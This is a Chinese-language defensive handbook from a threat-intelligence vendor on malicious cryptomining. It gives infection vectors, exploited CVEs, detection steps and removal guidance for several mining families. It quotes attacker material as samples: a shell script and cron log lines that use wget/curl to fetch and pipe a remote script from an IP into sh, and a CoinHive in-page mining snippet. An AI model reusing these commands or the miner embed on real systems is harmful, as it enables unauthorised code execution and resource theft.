深度解析恶意挖矿攻击：

现状、检测及处置手册

V2.2

奇安信威胁情报中心

目录

1 背景

11 月 16 日，国家发改委举行新闻发布会，新闻发言人孟玮表示，将以产业式集中式“挖矿”、国有单位涉及“挖矿”和比特币“挖矿”为重点开展全面整治。

接连的重拳出击，体现了国家对整治“挖矿”的决心。因此，**奇安信威胁情报中心免费推出应对恶意挖矿攻击的检测及自查处置手册**，供广大企业用户和个人用户参考备用。文章面向企业和个人关心的恶意挖矿攻击的来源、形态和影响进行了全面的描述，最终提供了数十种常见的恶意挖矿家族的自查、清除和防护办法，希望能对业界贡献一点微薄之力。

2 引言

对于企业机构和广大网民来说，除了面对勒索病毒这一类威胁以外，其往往面临的另一类广泛的网络威胁类型就是感染恶意挖矿程序。恶意挖矿，就是在用户不知情或未经允许的情况下，占用用户终端设备的系统资源和网络资源进行挖矿，从而获取虚拟币牟利。其通常可以发生在用户的个人电脑，企业网站或服务器，个人手机，网络路由器。随着近年来虚拟货币交易市场的发展，以及虚拟货币的金钱价值，恶意挖矿攻击已经成为影响最为广泛的一类威胁攻击，并且影响着企业机构和广大个人网民。

为了帮助企业机构和个人网民应对恶意挖矿程序攻击，发现和清除恶意挖矿程序，防护和避免感染恶意挖矿程序，奇安信威胁情报中心整理了如下针对挖矿活动相关的现状分析和检测处置建议。

本文采用 Q&A 的形式向企业机构人员和个人网民介绍其通常关心的恶意挖矿攻击的相关问题，并根据阅读的人群分为企业篇和个人篇。

本文推荐如下类人员阅读：**企业网站或服务器管理员，企业安全运维人员， 关心恶意挖矿攻击的安全从业者和个人网民**

3 企业篇

3.1 为什么会感染恶意挖矿程序

通常企业机构的网络管理员或安全运维人员遇到企业内网主机感染恶意挖

矿程序，或者网站、服务器以及使用的云服务被植入恶意挖矿程序的时候，都不免提出“为什么会感染恶意挖矿程序，以及是如何感染的”诸如此类的问题。

我们总结了目前感染恶意挖矿程序的主要方式：

- 利用类似其他病毒木马程序的传播方式。

例如钓鱼欺诈，色情内容诱导，伪装成热门内容的图片或文档，捆绑正常应用程序等，当用户被诱导内容迷惑并双击打开恶意的文件或程序后，恶意挖矿程序会在后台执行并悄悄的进行挖矿行为。

- 企业机构暴露在公网上的主机、服务器、网站和 Web 服务、使用的云服务等被入侵。

通常由于暴露在公网上的主机和服务由于未及时更新系统或组件补丁，导致存在一些可利用的远程利用漏洞，或由于错误的配置和设置了较弱的口令导致被登录凭据被暴力破解或绕过认证和校验过程。

奇安信威胁情报中心在之前披露“**8220 挖矿团伙**”[1]一文中就提到了部分常用的远程利用漏洞：**WebLogic XMLDecoder 反序列化漏洞、Drupal 的远程任意代码执行漏洞、JBoss 反序列化命令执行漏洞、Couchdb 的组合漏洞、Redis、Hadoop 未授权访问漏洞。**当此类 0day 漏洞公开甚至漏洞利用代码公开时，黑客就会立即使用其探测公网上存在漏洞的主机并进行攻击尝试，而此时往往绝大部分主机系统和组件尚未及时修补，或采取一些补救措施。

- 内部人员私自安装和运行挖矿程序

企业内部人员带来的安全风险往往不可忽视，需要防止企业机构内部人员

私自利用内部网络和机器进行挖矿牟利，避免出现类似“湖南某中学校长利用校园网络进行挖矿”的事件。

3.2 恶意挖矿会造成哪些影响

恶意挖矿造成的最直接的影响就是耗电，造成网络拥堵。由于挖矿程序会消耗大量的 CPU 或 GPU 资源，占用大量的系统资源和网络资源，其可能造成系统运行卡顿，系统或在线服务运行状态异常，造成内部网络拥堵，严重的可能造成线上业务和在线服务的拒绝服务，以及对使用相关服务的用户造成安全风险。

企业机构遭受恶意挖矿攻击不应该被忽视，虽然其攻击的目的在于赚取电子货币牟利，但更重要的是在于揭露了企业网络安全存在有效的入侵渠道，黑客或网络攻击团伙可以发起恶意挖矿攻击的同时，也可以实施更具有危害性的恶意活动，比如信息窃密、勒索攻击。

3.3 恶意挖矿攻击是如何实现的

那么恶意挖矿攻击具体是如何实现的呢，这里我们总结了常见的恶意挖矿攻击中重要攻击链环节主要使用的攻击战术和技术。

3.3.1 初始攻击入口

针对企业和机构的服务器、主机和相关 Web 服务的恶意挖矿攻击通常使用的初始攻击入口分为如下四类：

- 远程代码执行漏洞

实施恶意挖矿攻击的黑客团伙通常会利用 1-day 或 N-day 的漏洞利用程序或成熟的商业漏洞利用包对公网上存在漏洞的主机和服务进行远程攻击利用并执行相关命令达到植入恶意挖矿程序的目的。

下表是结合近年来公开的恶意挖矿攻击中使用的漏洞信息：

漏洞名称	相关漏洞编号	相关恶意挖矿攻击
永恒之蓝	CVE-2017-0144	MsraMiner，WannaMiner，Coin Miner
Drupal Drupalgeddon 2 远程代码执行	CVE-2018-7600	8220 挖矿团伙[1]
VBScript 引擎远程代码执行漏洞	CVE-2018-8174	Rig Exploit Kit 利用该漏洞分发门罗比挖矿代码[3]
Apache Struts 远程代码执行	CVE-2018-11776	利用 Struts 漏洞执行 CNRig 挖矿程序[5]
WebLogic XMLDecoder 反序列化漏洞	CVE-2017-10271	8220 挖矿团伙[1]
JBoss 反序列化命令执行漏洞	CVE-2017-12149	8220 挖矿团伙[1]
Jenkins Java 反序列化远程代码执行	CVE-2017-1000353	JenkinsMiner[4]
Apache Struts 2 Jakarta Multipart Parser 远程代码执行漏洞	CVE-2017-5638	KioMiner BlueHero
Spring Data Commons 远程代码执行漏洞	CVE-2018-1273	GuardMiner
Tomcat 信息泄漏/远程代码执行	CVE-2017-12615	BuleHero
Windows RDP 远程代码执行	CVE-2019-0708	KingMiner
WebLogic 反序列化远程代码执行	CVE-2019-2725	8220 挖矿团伙[1]
Apache Solr 远程代码执行	CVE-2019-0193	Agwl 团伙
Confluence 远程代码执行	CVE-2019-3396	8220 挖矿团伙[1]

Weblogic 未授权命令执行漏洞	CVE-2020-14882	z0Miner
SaltStack 远程命令执行漏洞	CVE-2020-11651	H2Miner 团伙
Confluence OGNL 注入漏洞	CVE-2021-26084	z0Miner
Vmware vCenter 远程代码执行漏洞	CVE-2021-21972	Freakout 僵尸网络挖矿
F5 BIG-IP 远程代码执行漏洞	CVE-2021-22986	Sora-Mirai 变种木马挖矿

- 暴力破解

黑客团伙通常还会针对目标服务器和主机开放的 Web 服务和应用进行暴力破解获得权限外，例如暴力破解 Tomcat 服务器或 SQL Server 服务器，对 SSH、RDP 登录凭据的暴力猜解。

- 未正确配置导致未授权访问漏洞

还有一类漏洞攻击是由于部署在服务器上的应用服务和组件未正确配置，导致存在未授权访问的漏洞。黑客团伙对相关服务端口进行批量扫描，当探测到具有未授权访问漏洞的主机和服务器时，通过注入执行脚本和命令实现进一步的下载植入恶意挖矿程序。

下表列举了恶意挖矿攻击中常用的未授权漏洞。

漏洞名称	主要的恶意挖矿木马
Redis 未授权访问漏洞	8220 挖矿团伙[1]
Hadoop Yarn REST API 未授权漏洞利用	8220 挖矿团伙[1]
Docker Remote API 未授权访	TeamTNT 挖矿木马，Cleanfda

问漏洞	挖矿木马
Jenkins 未授权访问漏洞	DarkMiner 挖矿木马

除了上述攻击入口以外，恶意挖矿攻击也会利用诸如**供应链攻击**，和病毒木马类似的传播方式实施攻击。

- 僵尸网络

攻击者通过各种途径传播僵尸程序感染互联网上的大量主机，而被感染的主机将通过一个控制信道接收攻击者的指令，组成一个僵尸网络。当前利用僵尸网络渠道分发挖矿木马是其主要传播手段之一，僵尸网络在分发挖矿木马的同时，还会下载自动更新模块、远程控制模块、持久化模块等，甚至会利用漏洞来进行传播，感染更多的主机，以此来不断扩大僵尸网络的规模。例如 DTL Miner（永恒之蓝下载器木马）、H2Miner、GuardMiner 等老牌僵尸网络，背后团伙不断更新其攻击方法，使其在出现后的数年里仍然保持很高的活跃度。

3.3.2 植入，执行和持久性

恶意挖矿攻击通常利用远程代码执行漏洞或未授权漏洞执行命令并下载释放后续的恶意挖矿脚本或木马程序。

恶意挖矿木马程序通常会使用常见的一些攻击技术进行植入，执行，持久化。例如使用 WMIC 执行命令植入，使用 UAC Bypass 相关技术，白利用，使用任务计划持久性执行或在 Linux 环境下利用 crontab 定时任务执行等。

下图为在 **8220 挖矿团伙**一文[1]中分析的恶意挖矿脚本，其通过写入 crontab 定时任务持久性执行，并执行 wget 或 curl 命令远程下载恶意程序。

```
...
if crontab -l | grep -q "46.249.38.186"
then
    echo "Cron exists"
else
    echo "Cron not found"
    LDR="wget -q -O -"
    if [ -s /usr/bin/curl ];
    then
        LDR="curl";
    fi
    if [ -s /usr/bin/wget ];
    then
        LDR="wget -q -O -";
    fi
    (crontab -l 2>/dev/null; echo "* * * * * $LDR http://46.249.38.186/cr.sh | sh > /dev/null 2>&1")| crontab -
fi
```

3.3.3 竞争与对抗

恶意挖矿攻击会利用混淆，加密，加壳等手段对抗检测，除此以外为了保障目标主机用于自身挖矿的独占性，通常还会出现“黑吃黑”的行为。例如：

- 修改 host 文件，屏蔽其他恶意挖矿程序的域名访问
- 搜索并终止其他挖矿程序进程
- 通过 iptables 修改防火墙策略，甚至主动封堵某些攻击漏洞入口以避免其他的恶意挖矿攻击利用

3.4 恶意挖矿程序有哪些形态

当前恶意挖矿程序主要的形态分为三种：

- 自开发的恶意挖矿程序，其内嵌了挖矿相关功能代码，并通常附带有其他的病毒、木马恶意行为
- 利用开源的挖矿代码编译实现，并通过 PowerShell，Shell 脚本或 Downloader 程序加载执行，如 XMRig [7], CNRig [8]，XMR-Stak[9]。

其中 XMRig 是一个开源的跨平台的门罗算法挖矿项目，其主要针对 CPU 挖矿，并支持 38 种以上的币种。由于其开源、跨平台和挖矿币种类别支持丰富，已经成为各类挖矿病毒家族最主要的挖矿实现核心。

```
aUsageXmrigOpti db 'Usage: xmrig [OPTIONS]',0Ah
                                ; DATA XREF: .text:000000000040C860↑o
                                ; sub_40D700:loc_40D780↑o ...
                db 'Options:',0Ah
                db '  -a, --algo=ALGO          specify the algorithm to use',0Ah
                db '                             cryptonight',0Ah
                db '                             cryptonight-lite',0Ah
                db '                             cryptonight-heavy',0Ah
                db '  -o, --url=URL            URL of mining server',0Ah
                db '  -O, --userpass=U:P       username:password pair for mining serv'
                db 'er',0Ah
                db '  -u, --user=USERNAME      username for mining server',0Ah
                db '  -p, --pass=PASSWORD      password for mining server',0Ah
                db '      --rig-id=ID          rig identifier for pool-side statistic'
                db 's (needs pool support)',0Ah
                db '  -t, --threads=N          number of miner threads',0Ah
                db '  -v, --av=N               algorithm variation, 0 auto select',0Ah
                db '  -k, --keepalive          send keepalived for prevent timeout (n'
                db 'eed pool support)',0Ah
                db '  -r, --retries=N          number of times to retry before switch'
                db ' to backup server (default: 5)',0Ah
                db '  -R, --retry-pause=N      time to pause between retries (default'
                db ': 5)',0Ah
                db '      --cpu-affinity       set process affinity to CPU core(s), m'
                db 'ask 0x3 for cores 0 and 1',0Ah
                db '      --cpu-priority       set process priority (0 idle, 2 normal'
                db ' to 5 highest)',0Ah
                db '      --no-huge-pages      disable huge pages support',0Ah
                db '      --no-color           disable colored output',0Ah
                db '      --variant            algorithm PoW variant',0Ah
                db '      --donate-level=N     donate level, default 5%% (5 minutes i'
                db 'n 100 minutes)',0Ah
                db '      --user-agent         set custom user-agent string for pool',0Ah
                db '  -B, --background         run the miner in the background',0Ah
                db '  -c, --config=FILE        load a JSON-format configuration file',0Ah
                db '  -l, --log-file=FILE      log all output to a file',0Ah
                db '  -S, --syslog             use system log for output messages',0Ah
                db '      --max-cpu-usage=N    maximum CPU usage for automatic thread'
                db 's mode (default 75)',0Ah
                db '      --safe               safe adjust threads and av settings fo'
                db 'r current CPU',0Ah
                db '      --nicehash           enable nicehash/xmrig-proxy support',0Ah
                db '      --print-time=N       print hashrate report every N seconds',0Ah
                db '      --api-port=N         port for the miner API',0Ah
                db '      --api-access-token=T access token for API',0Ah
                db '      --api-worker-id=ID   custom worker-id for API',0Ah
                db '      --api-ipv6           enable IPv6 support for API',0Ah
                db '      --api-no-restricted  enable full remote access (only if API'
                db ' token set)',0Ah
                db '  -h, --help               display this help and exit',0Ah
```

- Javascript 脚本挖矿，其主要是基于 CoinHive[6]项目调用其提供的 JS 脚本接口实现挖矿功能。由于 JS 脚本实现的便利性，其可以方便的植入到入侵的网站网页中，利用访问用户的终端设备实现挖矿行为。

```
1  <script src="https://coinhive.com/lib/coinhive.min.js"></script>
2  <script>
3      var miner = new CoinHive.Anonymous('eXnvyAQwXxGV80C4fGuiRiDZiDpDaSrf',{
4          threads:4,
5          throttle:0.6
6  });
7      miner.start();
8  </script>
9
```

3.5 如何发现是否感染恶意挖矿程序

那么如何发现是否感染恶意挖矿程序，本文提出几种比较有效而又简易的排查方法。

3.5.1 “肉眼”排查或经验排查法

由于挖矿程序通常会占用大量的系统资源和网络资源，所以结合经验是快速判断企业内部是否遭受恶意挖矿攻击的最简易手段。

通常企业机构内部出现异常的多台主机卡顿情况并且相关主机风扇狂响，在线业务或服务出现频繁无响应，内部网络出现拥堵，在反复重启，并排除系统和程序本身的问题后依然无法解决，那么就需要考虑是否感染了恶意挖矿程序。

3.5.2 技术排查法

1. 进程行为

通过 top 命令查看 CPU 占用率情况，并按 C 键通过占用率排序，查找 CPU 占用率高的进程。

```
Mem:  33014376k total, 28178212k used,  4836164k free,   683280k buffers
Swap:        0k total,        0k used,        0k free, 12700264k cached

  PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND
  951 yarn      20   0  909m  17m  592 S 732.5  0.1 977:50.22 java
 9941 root      20   0 17200 1484 1016 R 100.0  0.0   0:00.07 top
    1 root      20   0 21400 1280  968 S  0.0  0.0   0:02.90 init
    2 root      20   0     0    0    0 S  0.0  0.0   0:00.00 kthreadd
    3 root      RT   0     0    0    0 S  0.0  0.0   0:14.03 migration/0
    4 root      20   0     0    0    0 S  0.0  0.0   0:15.51 ksoftirqd/0
    5 root      RT   0     0    0    0 S  0.0  0.0   0:00.00 stopper/0
    6 root      RT   0     0    0    0 S  0.0  0.0   0:03.64 watchdog/0
    7 root      RT   0     0    0    0 S  0.0  0.0   0:02.88 migration/1
    8 root      RT   0     0    0    0 S  0.0  0.0   0:00.00 stopper/1
    9 root      20   0     0    0    0 S  0.0  0.0   0:09.94 ksoftirqd/1
   10 root      RT   0     0    0    0 S  0.0  0.0   0:02.12 watchdog/1
   11 root      RT   0     0    0    0 S  0.0  0.0   0:12.70 migration/2
```

2. 网络连接状态

通过 netstat -anp 命令可以查看主机网络连接状态和对应进程，查看是否存在异常的网络连接。

3. 自启动或任务计划脚本

查看自启动或定时任务列表，例如通过 crontab 查看当前的定时任务。

```
[root@master log]# crontab -u yarn -l
* * * * * wget -q -O - http://46.249.38.186/cr.sh | sh > /dev/null 2>&1
[root@master log]#
```

4. 相关配置文件

查看主机的例如/etc/hosts，iptables 配置等是否异常。

5. 日志文件

通过查看/var/log 下的主机或应用日志，例如这里查看/var/log/cron*下的相关日志。

```
[root@master log]# head /var/log/cron-20180617
Jun 10 03:10:02 master run-parts(/etc/cron.daily)[27934]: finished logrotate
Jun 10 03:10:02 master run-parts(/etc/cron.daily)[27910]: starting makewhatis.cron
Jun 10 03:10:07 master run-parts(/etc/cron.daily)[28080]: finished makewhatis.cron
Jun 10 03:10:07 master anacron[26472]: Job `cron.daily' terminated
Jun 10 03:10:07 master anacron[26472]: Normal exit (1 job run)
Jun 10 03:11:01 master CROND[28200]: (yarn) CMD (wget -q -O - http://46.249.38.186/cr.sh | sh > /dev/null 2>&1)
Jun 10 03:11:01 master CROND[28201]: (yarn) CMD (wget -q -O - http://185.222.210.59/cr.sh | sh > /dev/null 2>&1)
Jun 10 03:12:01 master CROND[28348]: (yarn) CMD (wget -q -O - http://185.222.210.59/cr.sh | sh > /dev/null 2>&1)
Jun 10 03:12:01 master CROND[28347]: (yarn) CMD (wget -q -O - http://46.249.38.186/cr.sh | sh > /dev/null 2>&1)
Jun 10 03:13:01 master CROND[28490]: (yarn) CMD (wget -q -O - http://46.249.38.186/cr.sh | sh > /dev/null 2>&1)
[root@master log]#
```

6. 安全防护日志

查看内部网络和主机的安全防护设备告警和日志信息，查找异常。

通常在企业安全人员发现恶意挖矿攻击时，初始的攻击入口和脚本程序可能已经被删除，给事后追溯和还原攻击过程带来困难，所以更需要依赖于服务器和主机上的终端日志信息以及企业内部部署的安全防护设备产生的日志信息。

3.6 如何防护恶意挖矿攻击

如何防护恶意挖矿攻击：

1. 企业网络或系统管理员以及安全运维人员应该在其企业内部使用的相关

系统，组件和服务出现公开的相关远程利用漏洞时，尽快更新其到最新版本，或在为推出安全更新时采取恰当的缓解措施

2. 对于在线系统和业务需要采用正确的安全配置策略，使用严格的认证和授权策略，并设置复杂的访问凭证

3. 加强企业机构人员的安全意识，避免企业人员访问带有恶意挖矿程序的文件、网站

4. 制定相关安全条款，杜绝内部人员的主动挖矿行为

4 个人篇

4.1 个人用户面对的恶意挖矿问题

相比企业机构来说，个人上网用户面对着同样相似的恶意挖矿问题，如个人电脑，手机，路由器，以及各类智能设备存在被感染和用于恶意挖矿的情况。像现在手机的硬件配置往往能够提供很高的算力。奇安信威胁情报中心在 2018 年就配合网络研究院及多个安全部门联合分析和披露了名为 ADB.Miner 的安卓蠕虫[2]，其就是利用智能电视或智能电视盒子进行恶意挖矿。

当用户安装了内嵌有挖矿程序模块的 APP 应用，或**访问了植入有挖矿脚本的不安全网站或被入侵的网站**，往往就会造成设备算力被用于恶意挖矿。而其影响通常会造成设备和系统运行不稳定，异常发热和耗电，甚至会影响设备的使用寿命和电池寿命。

4.2 如何避免感染恶意挖矿程序

以下我们提出几点安全建议让个人用户避免感染恶意挖矿程序：

1. 提高安全意识，从正常的应用市场和渠道下载安装应用程序，不要随意点击和访问一些具有诱导性质的网页；

2. 及时更新应用版本，系统版本和固件版本；

3. 安装个人终端安全防护软件。

5 典型的恶意挖矿恶意代码家族及自查方法

5.1 8220 挖矿攻击

5.1.1 概述

挖矿攻击名称	**8220 团伙挖矿攻击**
涉及平台	Linux
相关恶意代码家族	未命名
攻击入口	利用多种远程执行漏洞和未授权访问漏洞
相关漏洞及编号	WebLogic XMLDecoder 反序列化漏洞、Drupal 的远程任意代码执行漏洞、JBoss 反序列化命令执行漏洞、Couchdb 的组合漏洞、Redis、Hadoop 未授权访问漏洞
描述简介	8220 团伙挖矿攻击是奇安信威胁情报中心发现的挖矿攻击黑客团伙，其主要针对高校相关的 Linux 服务器实施挖矿攻击。

5.1.2 自查办法

1. 执行 netstat -an 命令，存在异常的 8220 端口连接

2. top 命令查看 CPU 占用率最高的进程名为 java，如下图为利用 Hadoop 未授权访问漏洞攻击

```
Mem:  33014376k total, 28178212k used,  4836164k free,   683280k buffers
Swap:        0k total,        0k used,        0k free, 12700264k cached

  PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND
  951 yarn      20   0  909m  17m  592 S 732.5  0.1 977:50.22 java
 9941 root      20   0 17200 1484 1016 R 100.0  0.0   0:00.07 top
    1 root      20   0 21400 1280  968 S  0.0  0.0   0:02.90 init
    2 root      20   0     0    0    0 S  0.0  0.0   0:00.00 kthreadd
    3 root      RT   0     0    0    0 S  0.0  0.0   0:14.03 migration/0
    4 root      20   0     0    0    0 S  0.0  0.0   0:15.51 ksoftirqd/0
    5 root      RT   0     0    0    0 S  0.0  0.0   0:00.00 stopper/0
    6 root      RT   0     0    0    0 S  0.0  0.0   0:03.64 watchdog/0
    7 root      RT   0     0    0    0 S  0.0  0.0   0:02.88 migration/1
    8 root      RT   0     0    0    0 S  0.0  0.0   0:00.00 stopper/1
    9 root      20   0     0    0    0 S  0.0  0.0   0:09.94 ksoftirqd/1
   10 root      RT   0     0    0    0 S  0.0  0.0   0:02.12 watchdog/1
   11 root      RT   0     0    0    0 S  0.0  0.0   0:12.70 migration/2
```

3. 在/var/tmp/目录下存在如 java、pscf3、w.conf 等名称的文件

4. 执行 crontab -u yarn -l 命令查看是否存在可疑的定时任务

```
[root@master log]# crontab -u yarn -l
* * * * * wget -q -O - http://46.249.38.186/cr.sh | sh > /dev/null 2>&1
[root@master log]#
```

5. 通过查看/var/log/cron*相关的 crontab 日志，看是否存在利用 wget 访问和下载异常的远程 shell 脚本

```
[root@master log]# head /var/log/cron-20180617
Jun 10 03:10:02 master run-parts(/etc/cron.daily)[27934]: finished logrotate
Jun 10 03:10:02 master run-parts(/etc/cron.daily)[27910]: starting makewhatis.cron
Jun 10 03:10:07 master run-parts(/etc/cron.daily)[28080]: finished makewhatis.cron
Jun 10 03:10:07 master anacron[26472]: Job `cron.daily' terminated
Jun 10 03:10:07 master anacron[26472]: Normal exit (1 job run)
Jun 10 03:11:01 master CROND[28200]: (yarn) CMD (wget -q -O - http://46.249.38.186/cr.sh | sh > /dev/null 2>&1)
Jun 10 03:11:01 master CROND[28201]: (yarn) CMD (wget -q -O - http://185.222.210.59/cr.sh | sh > /dev/null 2>&1)
Jun 10 03:12:01 master CROND[28348]: (yarn) CMD (wget -q -O - http://185.222.210.59/cr.sh | sh > /dev/null 2>&1)
Jun 10 03:12:01 master CROND[28347]: (yarn) CMD (wget -q -O - http://46.249.38.186/cr.sh | sh > /dev/null 2>&1)
Jun 10 03:13:01 master CROND[28490]: (yarn) CMD (wget -q -O - http://46.249.38.186/cr.sh | sh > /dev/null 2>&1)
[root@master log]#
```

5.1.3 如何清除和防护

1. 终止挖矿进程，删除/var/tmp 下的异常文件

2. 删除异常的 crontab 任务

3. 检查是否存在上述漏洞的组件或服务，若存在则更新相关应用和组件到最新

版本，若组件或服务未配置远程认证访问，则开启相应的认证配置

5.2 WannaMiner/MsraMiner/HSMiner

5.2.1 概述

挖矿攻击名称	**WannaMiner**
涉及平台	Windows
相关恶意代码家族	WannaMiner，MsraMiner，HSMiner
攻击入口	使用永恒之蓝漏洞
相关漏洞及编号	CVE-2017-0144
描述简介	WannaMiner 是一个非常活跃的恶意挖矿家族，曾被多个安全厂商披露和命名，包括 WannaMiner，MsraMiner、HSMiner。其最早活跃于 2017 年 9 月，以使用“永恒之蓝”漏洞为攻击入口以及使用 “Mimikatz”凭证窃取工具攻击服务器植入矿机，并借助 PowerShell 和 WMI 实现无文件。

5.2.2 自查方法

1. 检查是否存在任务计划名为：“Microsoft\Windows\UPnP\Spoolsv”的任务
2. 检查%windir%目录下是否存在 cls.bat 和 spoolsv.exe 和 windows.exe 文件
3. 并检查是否存在可疑的 java.exe 进程

5.2.3 如何清除

1. 删除检查到的可疑任务计划和自启动项
2. 结束可疑的进程,如运行路径为：%windir%\IME\Microsofts\和运行路径为%windir%\spoolsv.exe 和%windir%\windows.exe 的进程
3. 删除 c 盘目录下的 012.exe 和 023.exe 文件

5.2.4 防护方法

1. 安装 Windows 系统补丁并保持自动更新
2. 如果不需要使用 Windows 局域网共享服务，可以通过设置防火墙规则来关闭 445 等端口

3. 安装奇安信天擎可有效防护该类挖矿病毒的攻击

5.3 JbossMiner

5.3.1 概述

挖矿攻击名称	**JbossMiner**
涉及平台	Windows，Linux 服务器或主机
相关恶意代码家族	JbossMiner
攻击入口	利用多种远程执行漏洞和未授权访问漏洞
相关漏洞及编号	jboss 漏洞利用模块，structs2 利用模块，永恒之蓝利用模块，mysql 利用模块，redis 利用模块，Tomcat/Axis 利用模块
描述简介	JbossMiner 主要是通过上述六大漏洞模块进行入侵和传播，并植入挖矿木马获利。其挖矿木马同时支持 windows 和 linux 两种平台，根据不同的平台传播不同的 payload。

5.3.2 自查方法

5.3.2.1 Linux 平台

1. 检查是否存在/tmp/hawk 文件
2. 检查是否存在/tmp/lower*.sh 或/tmp/root*.sh 文件
3. 检查 crontab 中是否有可疑的未知定时任务

5.3.2.2 Windows 平台

1. 检查是否有名为 Update*的可疑计划任务和 Updater*的可疑启动项
2. 检查是否存在%temp%/svthost.exe 和%temp%/svshost.exe 文件
3. 检查是否存在一个 rigd32.txt 的进程

5.3.3 如何清除

5.3.3.1 Linux 平台

可以执行如下步骤执行清除：

1. 删除 crontab 中可疑的未知定时任务
2. 删除/tmp/目录下的 bashd、lower*.sh、root*.sh 等可疑文件
3. 结束第 2 步发现的各种可疑文件对应的可疑进程。

5.3.3.2 Windows 平台

可以执行如下步骤进行清除：

1. 删除可疑的计划任务和启动项
2. 结束进程中名为 svshost.exe、svthost.exe 的进程
3. 结束可疑的 powershell.exe、regd32.txt 等进程
4. 清空%temp%目录下的所有缓存文件

5.3.4 防护方法

1. 如果不需要使用 Windows 局域网共享服务，可以通过设置防火墙规则来关闭 445 等端口
2. 修改服务器上的数据库密码，设置为更强壮的密码
3. 安装系统补丁和升级产品所使用的类库
4. Windows 下可以安装奇安信天擎防护该类挖矿病毒的攻击

5.4 MyKings

MyKings 是一个大规模多重僵尸网络，并安装门罗币挖矿机，利用服务器资源挖矿。

5.4.1 概述

挖矿攻击名称	MyKings
涉及平台	Windows 平台
相关恶意代码家族	DDoS、Proxy、RAT、Mirai
攻击入口	通过扫描开放端口，利用漏洞和弱口令进行入侵
相关漏洞及编	永恒之蓝

号	
描述简介	MyKings 是一个由多个子僵尸网络构成的多重僵尸网络，2017 年 4 月底以来，该僵尸网络一直积极地扫描互联网上 1433 及其他多个端口，并在渗透进入受害者主机后传播包括 DDoS、Proxy、RAT、Miner 在内的多种不同用途的恶意代码。

5.4.2 自查方法

1. 检查是否存在以下文件：

   c:\windows\system\my1.bat

   c:\windows\tasks\my1.job

   c:\windows\system\upslist.txt

   c:\program files\kugou2010\ms.exe

   c:\windows\system\cab.exe

   c:\windows\system\cabs.exe

2. 检查是否有名为 xWinWpdSrv 的服务

5.4.3 如何清除

可以执行如下步骤进行清除：

1. 删除自查方法 1 中所列的文件

2. 停止并删除 xWinWpdSrv 服务

5.4.4 防护办法

从僵尸网络当前的攻击重点来看，防范其通过 1433 端口入侵计算机是非常有必要的。此外，Bot 程序还有多种攻击方式尚未使用，这些攻击方式可能在未来的某一天被开启，因此也需要防范可能发生的攻击。对此，我们总结以下几个

防御策略：

1. 对于未遭到入侵的服务器，注意 mySQL，RDP，Telnet 等服务的弱口令问题。如果这些服务设置了弱口令，需要尽快修改；

2. 对于无需使用的服务不要随意开放，对于必须使用的服务，注意相关服务的弱口令问题；

3. 特别注意 445 端口的开放情况，如果不需要使用 Windows 局域网共享服务，可以通过设置防火墙规则来关闭 445 等端口。并及时打上补丁更新操作系统。

4. 关注服务器运行状况，注意 CPU 占用率和进程列表和网络流量情况可以及时发现系统存在的异常。此外，注意系统账户情况，禁用不必要的账户。

5. Windows 下可以安装奇安信天擎防护该类挖矿病毒的攻击

5.5 ADB.Miner 挖矿攻击自查方法

5.5.1 概述

挖矿攻击名称	**ADB.Miner**
涉及平台	搭载安卓系统的移动终端，智能设备
相关恶意代码家族	ADB.Miner
攻击入口	利用安卓开启的监听 5555 端口的 ADB 调试接口传播
相关漏洞及编号	无
描述简介	ADB.Miner 是由奇安信发现的利用安卓设备的 ADB 调试接口传播的恶意挖矿程序，其支持利用 xmrig 和 coinhive 两种形式进行恶意挖矿。

5.5.2 自查方法

1. 执行 top 命令，按"C"查看 CPU 占用率进程，存在类似 com.ufo.miner 的进程

```
  PID PR CPU% S  #THR     VSS     RSS PCY UID      Name
15022  2  93% S    63 1141472K 193624K  bg u0_a66   com.ufo.miner
```

2. 执行 ps | grep debuggerd 命令，存在/system/bin/debuggerd_real 进程

```
root      1602  1589  5480  0     __skb_recv b093a2c8 S /system/bin/debuggerd_real
root      1611  1602  5224  4     __skb_recv b093b4fc S debuggerd:signaller
```

3. 执行 ls /data/local/tmp 命令，查看目录下是否存在如下文件名称：droidbot, nohup, bot.dat, xmrig*, invoke.sh, debuggerd 等。

5.5.3 如何清除

可以执行如下步骤进行清除：

1. pm uninstall com.ufo.miner 移除相关挖矿程序 APK

2. 执行 ps | grep /data/local/tmp 列举相关挖矿进程，执行 kill -9 进行终止

3. 执行 rm 命令删除/data/local/tmp 下相关文件

4. mv /system/bin/debuggerd_real /system/bin/debuggerd 恢复 debuggerd 文件

5.5.4 防护办法

可以采用如下方式进行防护：

1. 进入设置界面，关闭 adb 调试或 adb wifi 调试开关

2. 执行 setprop service.adb.tcp.port 设置调试端口为其他值，ps | grep adbd 获得 adbd 进程并执行 kill -9 进行终止

3. 在 root 权限下可以配置 iptables 禁止外部访问 5555 端口：

iptables -A INPUT -p tcp -m tcp --dport 5555 -j REJECT

5.6 KoiMiner

5.6.1 概述

挖矿攻击名称	KoiMiner

涉及平台	Windows、Linux
相关恶意代码家族	未命名
攻击入口	Apache Struts2 漏洞攻击、针对企业 SQL Server 服务器的 1433 端口爆破攻击进行蠕虫式传播
相关漏洞及编号	Apache Struts2 漏洞 S2-045（CVE-2017-5638）、MS16-032 漏洞
描述简介	KoiMiner 是腾讯御见威胁情报中心发现的挖矿攻击木马，由于挖矿木马 netx mr 解密代码后以模块名“koi”加载而将其命名为 KoiMiner。

5.6.2 自查办法

1. 检查 SQL Sever 服务默认端口，检查 1433 端口是否有异常连接
2. 检查是否存在下述文件：

   C:\WINDOWS\system32\system32.exe

   C:\ProgramData\system32.exe

   C:\Users\Public\system32.exe

   java/sysin
3. 检查是否存在异常服务 WinTcpAutoProxy

5.6.3 如何清除和防护

1. 终止挖矿进程

2. 加固 SQL Server 服务器，修补服务器安全漏洞。使用安全的密码策略 ，使用高强度密码，切勿使用弱口令，特别是 sa 账号密码，防止黑客暴力破解。

3. 修改 SQL Sever 服务默认端口，在原始配置基础上更改默认 1433 端口设置，并且设置访问规则，拒绝 1433 端口探测。

4. 删除自查方法 2 中所述文件

5.7 NSABuffMiner

5.7.1 概述

挖矿攻击名称	**NSABuffMiner**
涉及平台	Windows
相关恶意代码家族	未命名
攻击入口	使用 EternalBlue、DoublePulsar、EternalRomance 等漏洞进行攻击
相关漏洞及编号	MS17-010
